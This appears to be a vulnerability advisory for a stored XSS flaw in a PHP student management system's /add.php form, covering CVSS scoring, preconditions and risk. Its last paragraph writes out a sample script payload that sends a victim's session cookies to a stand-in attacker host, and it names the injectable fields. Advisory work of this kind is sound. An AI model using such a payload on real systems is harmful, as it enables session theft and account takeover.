Student Management System EUVD-2026-35132

The attacker must possess a low-privilege account on the student management system (CVSS PR:L) - unauthenticated exploitation is not supported by the available vector data. The vulnerable endpoint /add.php must be accessible over the network (AV:N), and a second victim user with sufficient privilege must passively load the page rendering the injected content (UI:P). The application must be running the PHP codebase at or before commit 9599b560ad3c3b83e75d328b76bedcd489ef1f46. Exploitation is limited by the requirement for an existing low-privilege account and passive victim interaction, meaning purely opportunistic unauthenticated attacks are not viable. No special non-default configuration is required beyond having the /add.php form functional, as XSS stems from absent output encoding rather than an optional feature toggle.

The CVSS 4.0 base score of 2.0 accurately reflects constrained real-world impact: PR:L confirms a low-privilege authenticated account is required, and UI:P means a secondary victim must passively load the injected content - classic stored XSS preconditions. The impact components (VC:N, VI:L, VA:N, SC:N, SI:N, SA:N) indicate only limited integrity impact to the vulnerable system with no confidentiality or availability consequences scored. No KEV listing exists, meaning active exploitation by threat actors has not been confirmed by CISA. However, a public POC is available through a GitHub issue (E:P in the CVSS vector), lowering the bar for opportunistic abuse in school or academic environments where this software is deployed. The combination of low CVSS score and public POC suggests this is a real but low-priority finding for most organizations - unless the application handles sensitive student PII, in which case even low-impact XSS carries elevated organizational risk beyond the technical score.

An attacker with a low-privilege account (e.g., a student or staff member with basic system access) submits a crafted XSS payload such as <script>document.location='https://attacker.tld/steal?c='+document.cookie</script> into the name, address, or fname field via /add.php. When an administrator or another user views the page containing the stored entry, the script executes in their browser, exfiltrating session cookies to the attacker. A public POC demonstrating this behavior exists in GitHub issue #5.